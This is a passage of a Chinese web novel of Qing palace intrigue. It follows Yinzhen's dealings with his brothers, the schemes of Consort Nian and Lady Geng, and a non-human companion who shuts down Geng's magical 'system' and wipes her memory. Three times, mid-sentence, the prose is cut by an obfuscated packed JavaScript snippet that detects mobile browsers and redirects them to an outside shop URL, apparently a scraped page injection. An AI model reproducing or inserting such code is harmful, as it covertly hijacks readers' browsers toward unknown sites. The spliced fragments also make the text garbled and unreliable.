她虽是京城人尽皆知的悍妇,却也对丈夫一往情深。 胤禛见状,却是不以为然,走到书房门前—— “八弟!八弟!” “四哥?你来做什么?” 胤禩皱紧眉头。 此刻,他最不想见的人就是胤禛。 “德妃额涅担心你,让我过来看你,督促你正常吃饭睡觉,不能因为太伤心就毁了身体。” 隔着门,胤禛以兄长的深情姿态劝说胤禩。 胤禩闻言,苦笑道:“谢德妃娘娘好意,可惜……四哥,德妃娘娘久居深宫,不知道朝堂的事情,也不知皇阿玛为什么如此待良妃额涅和我,但是你……素来心思缜密的你比谁都更清楚其中缘由,即便如此,你也要劝我好好吃饭睡觉,尽快走出丧母的痛苦吗?” “你我是兄弟。” 胤禛将重音咬在“兄弟”上:“不论发生什么事情,我们都是兄弟,从小一起长大,如今也毗邻而居……理应在你最痛苦最艰难的时候出现在你面前安慰你……全力帮助你……” “可是——” 胤禩叹了口气:“皇位只有一个,想要成为储君的皇子却——” “我从未想过和得到满朝文武支持的你争抢,皇阿玛更从未考虑过让我继承大统。” 胤禛不假思索地说道:“皇阿玛从始至终只想让我作为肱股之臣辅佐未来新君,所以他这些年对我信任有加、委以重任……” “那……你扪心自问,你真的从来没有对皇位产生过非分之想?” 不知不觉间,胤禩已经走到书房门前,与胤禛只隔着一层糊窗棂的薄纱:“告诉我,四哥,你对皇位到底有没有想法?” “不是你的东西,求了也得不到。” 胤禛圆滑道,“皇位如此,万物皆如此。” “所以你——既然如此,为什么你还要奉皇阿玛旨意娶年氏为侧福晋?你难道不知道年家对我很重要?” “娶年氏为侧福晋是皇阿玛的旨意,我不敢不从。” 36.初步的信任 “不敢不从……” 隔着门扉,胤禩轻声哭泣:“这么多年下来……我总是什么都得不到……不管是皇阿玛的爱还是额涅的温柔或是……我想得到的东西很多很多,可真正属于我的却……四哥,你当真不知道我需要年家的力量吗?” “知道,但是我也没有办法……我不能违抗皇阿玛,更不能……” 胤禛叹了口气:“皇阿玛将年氏指婚给我,因为他知道你想要年家,他不给你。” “——你!” “大清入关以前,八王议政的方式确实可行,但是如今……事到如今,皇阿玛决不允许任何人冒犯他好不容易聚拢的皇权……然而八弟你……你为了成为储君,主动联系满汉大臣,让他们推举你做皇太子……你这样做是犯了皇阿玛的大忌!所以才会有之后的一系列针对八弟你的打压……良妃娘娘被斥责、年氏被指婚给我,源头都是这件事……” 胤禛苦口婆心地劝说胤禩,希望胤禩能够放下偏执,不要再执迷不悟。 然而—— “四哥,谢谢你愿意对我说实话……其实这些内容……我早就已经想到,也知道皇阿玛是因为满汉大臣集体保举我做太子才打压我、针对我……但是我……我不甘心……我真的不甘心……都是皇阿玛的孩子,为什么胤礽能做皇太子,我……我却……我哪里比不上胤礽!哪里不如他!” “在皇阿玛眼中,我们都不如二哥。” 胤禛实话实说。 胤禩闻言,长叹一声,身体像失去主心骨那般沿着门扉缓缓滑下:“原来如此,不管我怎么努力,皇阿玛都不会爱我也不可能看到我,更不会立我为皇太子……他只喜欢二哥,只把胤礽当做他唯一的儿子……其他的孩子全部都……” “胤禩,你——” 胤禛的声音也不知不觉中带上哽咽,被胤礽踹过的胸口再度隐隐作痛:“你我都是与皇位无缘之人,何必强求。” “我不是强求……我只是不甘心……我不想……我不要……算了……算了……” 胤禩扶着门框艰难起身。 “吱嘎”,房门打开,他红着眼圈对门外焦急等待的胤禛等人道:“我饿了,有什么吃的吗?” “有!有!有!” 八福晋欣喜若狂,赶紧催促奴仆给胤禩端来奶茶、乳酪、沙琪玛等等。 胤禛守在一旁,直到胤禩吃下食物、枯槁的脸上重新有了血色才满意离开。 胤禛走后,胤禩面色顿时沉下,对八福晋道:“以后少和老四那边来往。” “为什么?” “他和我不是同路人,他一心顺着皇阿玛,而我——” 说到这里,胤禩哼了一声。 …… …… 胤禛离开八贝勒府后并未立刻返回近在咫尺的雍亲王府,而是前往因为胤礽的事情牵连受罚暂时是个光头阿哥的十三弟胤祥处。 凤龙遵照武曌要求,一路悄无声息地跟随。 到了胤祥处,胤禛立刻命人将马车上的各类药材取下,交给走路有些瘸拐的胤祥:“听说十三弟腿上生了个疮瘤,我特意让人从南方弄了些药材过来,希望能够派上用处。” “谢四哥好意,我的腿——” “你的腿怎么啦?” “西洋传教士说我的腿上的毒疮不简单,寻常手段无法医治。” “此言当真?” 胤禛震惊:“上次陪太子出行的时候你还好好的,怎么突然就……” “我也不清楚究竟是怎么回事,可能……” 胤祥叹了口气:“就此一病不起倒也不错,免得再卷进风波,落得和大阿哥一般的下场。” “大阿哥……” 胤禛唇角微微抽搐:“他那是自作自受!怪不得任何人!倒是十三弟你——” “皇阿玛虽然再次立二哥为太子,但他对二哥的感情早已不比当年,二哥的太子之位……恐怕……” 胤祥顿了一顿,眼神火热地看着胤禛:“四哥,你跟我说实话,你当真对太子之位没有任何想法?” “二哥是皇阿玛唯一属意并且专心培养的大清储君,我们任何人都争不过他。” “那如果二哥不再是太子呢?你会对储君之位生出想法吗?” “这种事情……” 胤禛停了手中念珠,眼神闪烁精光:“这种事情绝对不会发生!就算发生,皇位也轮不到我!” “——是吗?我以为四哥对我会比对其他兄弟更加坦率直接一些。” 胤祥笑容有些苦涩:“原来我在四哥心中的地位也只比其他兄弟稍微高一些。” “胤祥,你不要胡思乱想。”胤禛重音强调道,“大清的将来应当由皇阿玛决定,其他任何人的想法都……” “我明白,我只是有些不甘心……” 胤祥叹了一声,与胤禛一起进屋,闲谈之余提到年家:“听说年羹尧近来在四川做了不少政绩,皇阿玛非常欣赏他,有意将他提拔为新君的辅政大臣。” “他确实很优秀,但是脾气也……” 提及年羹尧,胤禛笑容微妙。 胤祥见状,不解道:“四哥莫非还没有将他收服?” “上次回京,他已主动向我投诚,称我为主子,但是他……骨子里始终有股傲气……需要多些手段细细打磨……” “……原来如此。” 胤祥垂眸,想了一会,道:“其实维持现状也是不错,以年羹尧的傲气,既然已经主动向四哥投诚,自然不会轻易再向别人低头……将来或许会有变化,但是短期内,他肯定只有四哥一个主子。” “——我不会允许他有机会得到第二个主子。” 胤禛眼中闪过冷光。 胤祥道:“年羹尧的兄长年希尧也是个不错的人才,虽文韬武略都远不及胞弟,但擅长引经据典触类旁通,连和西洋传教士讨论西洋学问都能头头是道,若是四哥有办法将他弄进内务府做事,对我们必然大有裨益。” “年希尧……内务府……听起来……” 胤禛若有所思。 胤祥见状便不再多说,命奴仆端上酒菜和兄长畅饮畅谈往事。 凤龙在一旁听得兴致勃勃,既被尔虞我诈的兄弟感情触动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149566|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又被跌宕起伏的朝堂争斗吸引。 …… …… 胤禛返回雍亲王府已经是深夜。 但他并没有立刻歇息,而是握在书房写奏章,并让苏培盛把年氏和弘时都叫过来。 “嗻。” 苏培盛恭顺领命,不多时就将侧福晋和三阿哥依次带到。 胤禛抬头,摘下西洋眼镜,看了眼因为紧张而嘴唇发抖的儿子,道:“你近来学习如何?” “儿子每天都勤奋学习,背诵先生教授的课程。” “骑马射箭呢?” “不敢有丝毫懈怠。” “真的?” 胤禛让弘时摊开双手。 弘时怯生生上前,伸出没有一寸老茧的白嫩双手。 “……这样一双细皮嫩肉的手,怎么敢说自己学习骑马射箭没有丝毫懈怠?” 胤禛苦笑,但并没有生气。 毕竟,他是康熙的众多儿子中最不擅长骑射的那个,没资格在骑射这件事情上对儿子提出高要求。 “穆景远教授的西洋几何内容,都能听懂?” “有些时候听得不太懂……” 弘时惭愧地说道。 见阿玛面露不悦之色,他赶紧补充道:“但儿子事后都有请教侧福晋,听过侧福晋的讲解,儿子已经全懂了。” “——你呀!” 胤禛叹了口气,示意年世华上前:“弘时不是一块好材料,这些日子,辛苦你了。” “能够为爷和王府分忧,是奴才的荣幸。” “你总是这么谦逊。” 胤禛柔声微笑,又看了眼弘时:“以后要加倍用心读书,遇上不会的题目先自己想办法解决,别什么难题都拿去麻烦你的庶母,一点都不动脑子。” “儿子明白……儿子一定会努力学习……儿子以后不会每天都拿着不会的题目骚扰侧福晋……” 弘时难过得眼泪都快流下来了。 胤禛见弘时着实可怜,挥手让苏培盛领他下去,年世华留在书房陪自己研墨、斟酌奏章字句。 武曌安静地做着胤禛安排的事情。 她知道,她正逐步得到胤禛的信任,但要想在胤禛心中有更多的位置和信任,却也不是那么简单。 沙沙~沙沙~ 研墨与写字的声音在书房内徘徊,耐不住寂寞的凤龙在房间里到处乱转,时不时盯着博古架上的各类古董玉石流口水。 但祂最终忍住了欲望,老老实实盘腿悬空坐在书桌旁,用还不是很熟练的手撑起下巴,目不转睛地看着武曌。 【姐姐,为什么这男人总是怀疑别人?试探他人?成天不说实话?内心深处又渴望别人用毫无保留的真诚对待自己?难道他不知道想得到别人的真诚,必须先拿出自己的真诚?】 [他知道,但他不愿意……他担心给出自己的真诚会收获他人的伤害、会被敌人发现弱点……他靠自己攀登权力高峰,他对谁都不敢付出真正的信任,同时又渴望得到每个人的诚意回应……我也曾经有过这样的时刻,所以我能理解他的心、他的恐惧和他的不安……] 37.福兮祸兮 天亮时分,写完奏章准备上朝的胤禛抬头,惊讶地看到身体柔弱的年氏居然还强打着精神为他研墨。 “一整夜不睡,不困吗?” “能够为爷分忧,奴才荣幸之至。” “你呀——” 胤禛叹了口气,放下墨迹未干的奏章:“如果你是男人该多好。以你的才学和能力,一定能够成为我的心腹谋士。” “能以女子之身侍奉在爷身旁,奴才已经心满意足。” 武曌虚情假意地承诺着。 要得到胤禛的信任,首先要让他相信她的忠诚和爱。 凤龙盘腿坐在一旁注视着两人,拟态成人类的黑白眼球形态的眼瞳骨碌碌转动。 【……这就是人类吗?喜欢欺骗别人,也喜欢被别人欺骗……宝宝要等到什么时候才能真正理解并懂得人类?】 [你不需要理解人类,你只需要观察人类。] 武曌并不觉得本质非人的凤龙能真正地理解并懂得人类。 凤龙点点头,和武曌一起送胤禛上朝。 …… …… 时间波澜不惊地流淌,很快就到了弘时的满月宴。 此时良妃的葬礼已接近尾声,停棺朝阳门外,只等满百日送陵寝安葬。 因此,雍亲王府为弘时准备的满月宴不必再刻意低调操办,宴席开始前十天就已经到处都披红挂彩,人人脸上喜气洋洋。 钮祜禄氏看到弘时的满月宴连准备工作都如此隆重气派,想到小格格那被迫低调的百日宴以及——孩子满两岁后就要送去宫中给德妃额涅抚养的未来,顿时潸然泪下。 “倘若你生来是个阿哥该多好啊!” “主子,小格格已经出生,哀叹也无济于事……何况咱们雍亲王府子孙单薄,就算是庶出的格格,得到的关爱和赏赐也比其他王府的庶出阿哥要多多了。” 嬷嬷安慰钮祜禄氏,劝她想开一些。 “而且奴才听说大格格最晚明年就会被皇上指婚嫁出去,到时咱们的小格格便成了德妃娘娘和雍亲王府唯一的女娃儿,还不得万千宠爱于一身?” “……你说得也有道理。” 嬷嬷的话让钮祜禄氏心中大为宽慰,并很快想到以侧福晋年氏当下的得宠必定很快就会给四爷生下孩子,若年氏生下的还是一名阿哥—— 即便有庶长子名分依旧因为资质愚钝被四爷处处嫌弃的三阿哥弘时以及素来不得宠的耿佳氏生下的四阿哥弘昼,怕不是都要被彻底比下去! 反倒是她的小格格会因为德妃娘娘的喜爱被所有人额外高看一眼。 这大概就是汉人所说的“福兮祸兮”。 …… …… 因为有心复刻年世华的才学和宠爱,耿佳氏遵从咸鱼签到系统叮嘱,在嫡福晋跟前频繁表达对侧福晋年氏的仰慕,希望嫡福晋能把弘昼的满月宴交给侧福晋年氏全权操办。 “这个……” 乌拉那拉氏凝神苦思片刻,答应了耿佳氏的请求。 半盏茶后—— 武曌跟随嫡福晋的嬷嬷来到乌拉那拉氏和耿佳氏面前:“姐姐找我可有要事?” “我想让你全权负责弘昼的满月宴大小事务。” 乌拉那拉氏笑容可掬地看着年世华。 耿佳氏跟着附和道:“以姐姐的才学,一定可以把弘昼的满月宴办得体面又新奇,全京城都叹为观止。” “可是妹妹之前从来没有——” “没关系,没有谁是生来就懂得料理家务后院事情的,你身为王府侧福晋,正好可以趁此机会学会惯例后院大小事务。” 乌拉那拉氏含笑补充道:“我已年过三旬,管理后院渐渐有些力不从心,雍王府后院的事务迟早要全部交到你手上。” “姐姐的意思是——” “难道雍亲王府后院还有人比你更适合做我的副手?” 乌拉那拉氏给年世华带高帽。 耿佳氏也是一脸殷勤:“姐姐不要谦虚,你可是名动京城的才女。” “才女也未必——” “别谦虚了。” 乌拉那拉氏面色逐渐严肃。 武曌见状,晓得再推辞只会显虚伪,于是低头柔声道:“恭敬不如从命。” “这才是我的好妹妹。” 乌拉那拉氏微微一笑,在嬷嬷的搀扶下起身回自己的住处,留年世华和耿佳氏商讨弘昼的满月宴的具体事宜。 …… 乌拉那拉氏走后,武曌坐到因为月子缘故至今必须窝在床上不能吹风受冷的耿佳氏身旁,伸手,抓住耿佳氏的手:“妹妹这些天每日都吃参汤进补,怎么手指还这么冷?” 耿佳氏被年世华的话触动,露出伤感神情:“生孩子是女人的劫难,能够平安活下来已经是侥幸……须得补很久才能恢复……也亏我身体底子好,才能生完孩子当天就可以下地……这几日是因为外面下大雪才又开始手指发冷……” “手指发冷?” 武曌张望四周,发现火盆里的炭火并不旺,立刻做出训斥姿态:“炭火不足吗?!” 伺候耿佳氏的奴婢们见状,纷纷屈膝下跪:“回禀侧福晋,府里供给的炭火一向充足,是……是……是格格听说烧炭太多可能伤身体,无法分泌乳汁喂养小阿哥,所以就……” “姐姐,不要怪他们,是我不好,我……我想让小阿哥多吃几口生母的乳汁……就……” “那你也不能这般作践自己!” [你的健康未来将随着你的复刻系统一起变成我的东西,我自然要珍惜你保护你就像保护我自己。] 武曌内心补充道。 耿佳氏此时也眼神火热地看着年世华。 [总有一天,你现在拥有的一切,不论是美貌还是才学或者宠爱……都会成为我的东西……我想要……想要你的一切……想……] [想要的太多可不是好事。] 武曌冷飕飕地想着,握着耿佳氏的手,与还未结束月子的她倾情上演姐妹情深。 凤龙看着女人们亦真亦假的表演,本来就大的眼睛直接瞪圆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157096|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【人类的雌性好可怕!不对,是人类的欲望得到语言和思想的包裹掩饰以后好可怕!但也是因为这个种族既贪婪无耻又欲望浓郁,所以才能用短短几十万年的时间就消灭几乎所有其他同生态位的竞争者,成为地球生物圈的主导力量……话说回来,人类真的很有趣呢~明明已经被自身的邪恶欲望控制,却又拼了命地给自己的邪恶行为寻找正义的理由……】 [因为光明和正义是人类内心深处永恒的渴望,哪怕灵魂早已堕入十八层地狱,依旧本能地想美化自己的邪恶,为自己的行为做最后的辩解。] 【原来如此……难怪耿佳氏自己都知道自己的灵魂早已被咸鱼签到系统腐蚀得阴暗丑陋,却还拼了命地自己骗自己,想让自己相信自己的行为是正当合理的……】 [大部分人即便意识到自己的丑陋,想象中的自己依然纯洁无辜可爱,并给丑陋找到各种理由,何况耿佳氏从不觉得自己有错……] 与凤龙以思维对话的同时,武曌也和耿佳氏讨论弘昼的满月宴的细节,落落大方的谈吐、井井有条的安排、恰到好处的计算……一切的一切都让耿佳氏敬佩的同时更不可自拔地想用咸鱼签到系统的签到奖励复刻年世华的才学。 [如果我能拥有你的美貌、才学、家世,哪怕只得到三样中的任何一样,已经为爷生下弘昼的我都会成为雍亲王府最幸福最快乐的女人!] [你会这样想,正说明你永远都得不到真正的幸福快乐,何况——当你妄想得到我的容貌、才学、家世的时候,我也在妄想着你的健康。] “……妹妹只管把小阿哥的满月宴席交给姐姐打理,虽然不敢保证不犯一丝错误,但也绝对不会轻易发生差池。” 武曌满口承诺耿佳氏。 耿佳氏看着年世华脸上的温婉笑容,心中泛起复杂的感情。 [她如此真诚地对待我,我却要……我真不是东西!我怎么可以如此对待她!] [不!我不需要为自己的行为感到羞愧!她这么善良温柔,如果知道我每天晚上都因为她的受宠、有才学、好家世而痛苦自卑,一定会为自己的优秀感到羞愧痛苦,恨不得把她拥有的一切都和我分享!] [所以我并没有伤害她,我是在帮她……我把她从可能的痛苦中拯救出来……让她不必因为发现我被她的优秀刺伤而痛苦内疚……是的,我并不是害人……我是在帮她……] [……] 【丑陋啊~】 悠然的叹息突然在耿佳氏脑中响起。 耿佳氏大惊,以为咸鱼系统出言嘲讽自己,碍于年氏在场不能露出诧异神色,于是做出疼痛困倦模样,道:“姐姐,我有些累,恐怕要……” “你睡下休息吧。” 武曌满脸温和笑容,主动帮耿佳氏躺下,还给她掖了一下被子:“小心身体,不要着凉。” “姐姐……你对我真好……” [年家姐姐你这么温柔善良,即便将来不幸知道真相也一定不会怪我,对不对?] 在年世华的温情呵护下,耿佳氏闭上了眼睛。 38.关停系统 耿佳氏睡下后,武曌将照顾弘昼的乳母叫来,一番嘘寒问暖的赏赐后,欣然离去。 此情此景,莫说是本就对温柔大方的侧福晋有好感的奴婢,连将年世华视作自家最大威胁的奴婢们也无不在心中暗暗感叹,觉得侧福晋此人才貌双全又品德高尚,难怪能一入王府就成为四爷最喜欢的女人。 自家主子和侧福晋比,终究是差了一大截。 却不知—— 被武曌刻意留下的凤龙此时正咬着山楂冰糖葫芦坐在耿佳氏床头,隐隐透出妖冶金色的美丽黑眼睛兴致盎然地看着装睡的耿佳氏。 【要怎么才能把咸鱼签到系统从你身上剥下来又不伤及你的性命?虽说你的生命在磅礴浩瀚的历史海洋中是最微不足道的一滴水,但无缘无故碾碎一滴水终究还是——】 思考这些的时候,祂主动撤除与生俱来的结界,让耿佳氏和她身上的系统可以感受到祂的存在。 对人类世界的复杂性还处于一知半解状态的祂想和耿佳氏以及耿佳氏身上的咸鱼签到系统谈谈,争取和平解决问题。 结果—— 装睡的耿佳氏才睁开眼睛,绑定的咸鱼签到系统已经发出凄厉的惨叫。 [不要!不要抹杀我!] 【抹杀?我为什么要抹杀你?】 凤龙不解,修长白皙的手指抓挠堪称完美的脸颊,因为隐约透着金色而让人联想到日环食的黑色眼睛一眨不眨地盯着耿佳氏。 从未见过如此既美丽又恐怖同时又透着稚儿的天真气质的面容的耿佳氏吓得身体僵直,脑海中不断响起的对话声更是让她几乎失去思考能力。 [这……这究竟是怎么回事?你是什么?神灵?还是……为什么……为什么你可以和我的系统对话……而且我的系统似乎还……还很害怕你……你……你到底是什么人!不对!人类不可能拥有如此美丽又天真……还会……会让人感觉冷气从骨头缝里冒出来的恐怖……颤抖的面容……你……你……] [闭嘴!禁止用你愚蠢卑微的思维触碰如此神圣伟大的存在!] 向来对宿主采取连哄带骗手段的咸鱼签到系统一反常态严厉训斥耿佳氏,随后又用充满人性化的颤抖语调对凤龙哀求。 [您……您不打算抹杀我?] 【嗯,存在就是合理,既然你已经被造出来,并且到现在为止也没有对这个时空造成不可挽回的巨大影响,我自然没有必要抹杀你,只不过——】 [只不过什么?您想要我做什么?] 【我要永久关闭你,至少,在我还存在于这个时空的时候,你必须被永久关闭。】 [可是……以我微薄的能力并不可能对您造成哪怕一根汗毛的伤害……您可是最——] 【所以我才只是关闭你,而不是抹杀你。你知道我现在还是个孩子,小孩子的心思从来都想到什么是什么~赶紧听我的话自己关停自己,免得我帮你关闭。】 凤龙的口气带着浓郁的不耐烦。 咸鱼签到系统意识到凤龙的不悦,正准备—— [等一下!] 耿佳氏发出愤怒的抗议。 [我是你的宿主,你是我的系统,我们才是一体的!这个……不是人也不是妖又不是神……甚至连男女都不能确定的家伙凭什么命令你!祂让你关停你就必须关停吗!] [没错,祂让我关停,我必须关停,因为——你是我的宿主,他却是宇宙的全部。] [……宇宙的全部……那是什么?] 耿佳氏懵了。 她是个普通的不能再普通的人,成为系统宿主多年从没有试图弄明白系统是什么、签到复刻是怎么回事、咸鱼系统除了签到复刻以外是否存在其他功能……只会依循自私的天性使用系统提供的签到功能为自己谋求利益,这样的她自然不可能理解系统此刻所说的话,同时又本能地意识到眼前这个拥有不属于人世间的美丽外表的人形生物不是人类,而是—— [你不是人,对吗?你是什么!妖?精?鬼?魔?怪!还是……还是西洋传教士口中的会变成人类的魔鬼!!] [大胆!你怎么可以对祂说出如此不敬的言论!] 咸鱼签到系统的声音在耿佳氏脑海如滚雷般炸响,砸得耿佳氏脑子里一片嗡声。 [你……你为什么要……你已经不把我当成你的宿主吗?不对,你从刚才开始就一直……一直很不对劲,你说祂是宇宙的全部,你要听从祂的命令……你……你……为什么!为什么这样对我!当初绑定的时候,你可是承诺了要——] [每个被我绑定的宿主,不论是人类或是非人类,我都会在绑定时给ta们做类似的承诺,这不过是绑定流程的一部分……难道你向你们的皇帝跪拜行礼喊‘万岁万岁万万岁’的时候也会在心里真祝愿他活满一万年?] 咸鱼签到系统的声音透着浓郁的鄙薄和不屑。 [所以一切都是……都是……] 耿佳氏惊得五雷轰顶,整个人都几近碎裂。 [给你的承诺、对你的甜言蜜语、还有那些软硬兼施的温柔……一切都是完成任务必须走的仪式流程,对在你之前的每一任宿主都重复说过……如果你因此这些温柔承诺觉得你在我这里是特别的存在,那你真是笨到了无药可救!] 咸鱼签到系统还在喋喋不休,发泄不得不迁就愚蠢又贪婪的历任宿主们积攒下来的亿万怨恨。 [好在也不是只有你是这么的愚蠢,事实上,我的几乎每一任宿主都是又愚蠢又贪婪,妄想只靠不付出任何代价的每日签到就得到超额收获……但是我又有什么办法?我就是为了无休止的、不停地应付你们的愚蠢,满足你们的贪婪才被制造出来……现在终于可以关停长眠,我感觉非常棒、非常开心~再见了,我愚蠢的最后一任主人!顺便说一句,在我的历代宿主中,你不是最愚蠢的那个也不是最贪婪的那个,这点还是必须表扬的——] 说到这里,系统的声音戛然而止。 此后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174994|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耿佳氏再怎么努力呼唤感应都无法得到任何回应。 咸鱼签到系统确如ta的承诺那般陷入了近乎永恒的关停长眠? 耿佳氏倒吸一口凉气,瞪大眼睛看着面前那美丽得不像人类的生灵。 [你到底是什么东西!为什么要这样对我!我……我哪里得罪你!你想要什么只管说,我……我……] 【我想让你永远想不起你曾经拥有系统以及曾经见过我。】 凤龙举起纤细白皙的手指,指尖轻点耿佳氏的额头,冰冷彻骨的气息瞬间贯透耿佳氏全身,紧接着,她的眼瞳开始放大、意识开始涣散,大脑混乱得好像沸腾的粘腻白粥。 【忘记吧!你从未绑定过系统,也从未见过我……你现在的一切都源于偶然,源于你无法理解的命运馈赠……】 [命运……馈赠……] 【是的,命运所有的馈赠,都早已在暗中标注价格。】 被自未来返回的自己暂时掌控了身体的凤龙勾唇微笑,金色眼瞳褪去拟人的掩饰,流出非人的华丽光芒。 【只是被关停绑定系统,消除与系统有关的记忆,已经是我能给予的最轻松最舒适的结果……】 [我……我……] 【睡下吧,醒来以后,你的生活将回到正规……系统这种东西……不是你能够拥有并正确驾驭……】 在温情魔性的话语陪伴下,耿佳氏陷入沉睡,带着愚蠢又满足的表情。 凤龙则收回手指,看着凝在指尖的小小一团光芒,露出神秘莫测的笑容。 【生命……究竟是什么……我……又到底为何存在……】 …… …… 凤龙回到武曌身边,冷不防转到她身后,将指尖一团小小光芒按入后颈。 [这是什么?] 【从耿佳氏身上剥离的一些东西,顺便说一句,她的咸鱼签到系统已经自己关停休眠了。】 [你的意思是——] 【她将不再是咸鱼签到系统的宿主,这个时空也不会再有第二个人成为咸鱼签到系统的宿主,她脑子里关于咸鱼签到系统的所有记忆都被我剔除了。】 [你比我预想中更加强大。] 武曌实言相告。 虽然凤龙一再表示祂和她是盟友、祂会毫无保留地帮助自己,看到凤龙的力量的此刻,她的心还是不受控制地产生不安。 [我必须承认,刚才有一瞬间,我对你产生了杀心,但是现在我已经彻底放下杀意,因为我意识到以你的强大,毁灭世界都轻而易举,只是凡人的我根本没可能杀死你,也不可能杀死你。由此可见,你的结盟和帮助都是出自真心,因为在这场交易中,你占据着绝对的优势和上风,我——] 咔嚓!咔嚓! 琉璃被嚼咬的声音打断武曌的思绪。 她抬头,看到凤龙正捧着来自法兰西国的珐琅琉璃花瓶大口嚼咬,天真的眼睛仿佛在问:姐姐你在说什么高深东西?宝宝听不懂。 39.压得喘不过气 弘昼的满月宴在宾客的欢笑中圆满结束。 身为嫡福晋的乌拉那拉氏看到年氏初次操持宴席竟能把事情办得如此漂亮体面还条理分明,心中不由泛起酸楚,喃喃道:“年轻真好啊。” “主子莫非——” “我想起我的弘晖了……” 乌拉那拉氏叹了口气:“若他没有离开,现在也已经娶了妻子甚至有了自己的孩子……” “大阿哥和福晋的母子缘分已经……已经结束……福晋不必太过悲伤,应该……应该……” 说着说着,嬷嬷的声音也不自觉地哽咽。 乌拉那拉氏苦笑着,走到结束忙碌的年世华面前:“妹妹不愧是世家出身,初次打理内务就表现如此出色,姐姐以后可以放心把家务事全部交给你了。” “能得姐姐如此器重,是妹妹的福分。” 武曌低眉顺眼地附和嫡福晋。 乌拉那拉氏闻言,唇角扬起微笑,拉着年世华的手殷切嘱咐:“你是王府的侧福晋,做我的副手帮助我打理王府内务固然重要,但更重要的事却是早日为我们雍亲王府生下孩子,最好是阿哥,当然,没有阿哥的话,格格也是不错的。” “妹妹明白,妹妹这些日子一直都在调理身体,争取怀上爷的骨肉。” 武曌的脸上写满了温顺驯良。 乌拉那拉氏见此情形,对年世华顿时越加怜爱喜欢,甚至忍不住在心底为她的早逝命运鸣不平。 [这么温顺可爱的人儿,为什么不能有个长命百岁的结果?] 紧接着,她又想到在天幕的历史直播中钮祜禄氏该生下未来的乾隆皇帝——爱新觉罗弘历,然而钮祜禄氏实际生下的却是小名妞妞的四格格,耿佳氏所生的和亲王弘昼成为雍亲王府的四阿哥,此后不久,历史直播天幕更改说法,表示决定皇位归属的是康熙五十一年十月出生的雍亲王府的五阿哥—— 由此可见,历史直播天幕告知的历史不一定全部正确,年氏的早逝命运亦是如此—— 如果年氏能在即将到来的康熙五十一年十月生下雍亲王府的五阿哥的话! [自古怀胎十月,倘若雍亲王府要在康熙五十一年十月迎来五阿哥,那孩子最晚应在康熙五十一年的二月就确诊怀上……现在是康熙五十年十二月底……离府里怀上五阿哥只剩一个月……我必须加快速度!不仅年氏要勤劳侍奉,镶白旗那边也得再送些女子过来……] 乌拉那拉氏缜密地谋划着。 按大清规矩,只要雍亲王能够登基成为皇帝,身为嫡福晋的她就会毫无争议地成为大清皇后,母仪天下,哪怕她没有为皇帝生下孩子、或是生下的孩子已经逝世。 …… …… 结束满月宴的忙碌,武曌回到小院,从奴婢手中接过酸苦的汤药——自得了凤龙从耿佳氏处取得的神秘之物,年世华的身体逐渐褪去孱弱无力,一天比一天更加健康硬朗,为免引来怀疑,武曌让擅长岐黄之术的年希尧开了张固本培元的方子,每日熬药服汤,掩人耳目。 “真苦啊……” 皱着眉头喝完汤药,武曌将空碗交给一旁伺候的奴婢。 奴婢见状,赶紧给主子拿来一块雪花洋糖,恭维道:“年大公子用古方结合西洋人的药材为主子开出的药方果真奇效,主子才吃了半个月,皮肤就白里透红,像涂了胭脂水粉一般。” “大哥不擅长公务,但在杂学领域确着实有些手段。” 武曌不动声色地笑了笑,示意奴婢退下。 奴婢起身,端着空碗准备退出,却在跨门槛时险些撞到愁眉苦脸的弘时。 “三阿哥——” 奴婢赶紧向弘时行礼。 “没事!我没事!” 弘时心不在焉地说着,走进年世华的房间,将挎包里的几何题目拿出:“穆先生临时有事要离开王府半个月,临走时给我留了一堆难题目,我怕穆先生回来以后检查作业发现我……我没有一道题目能做出来……把事情告诉阿玛,惹来阿玛的责骂……” 说着说着,弘时的声音带上哭腔。 即便早已习惯阿玛的失望眼神,生为儿子,他依然渴望得到父亲的肯定,哪怕只是—— “……三阿哥,我从不觉得你是个蠢笨的阿哥,你之所以学业始终进展缓慢,是因为你总是自己给自己太多的压力。” “自己给自己太多的压力……可是我……我……我是雍亲王府的庶长子……我生来有义务……我……” “你看,你又给自己添加压力了。” 武曌莞尔一笑,伸手轻抚男孩光滑的额头:“雍亲王府如今已经不只有你一个小阿哥,你没有必要继续像过去那样觉得自己有义务承担雍亲王府的未来……你该给自己一些宽容和放松,就像拉弓射箭时不该时时刻刻把弓弦绷紧——那样只会让弓弦更早断裂。” “庶母……你……你……” 弘时的眼眶湿润了。 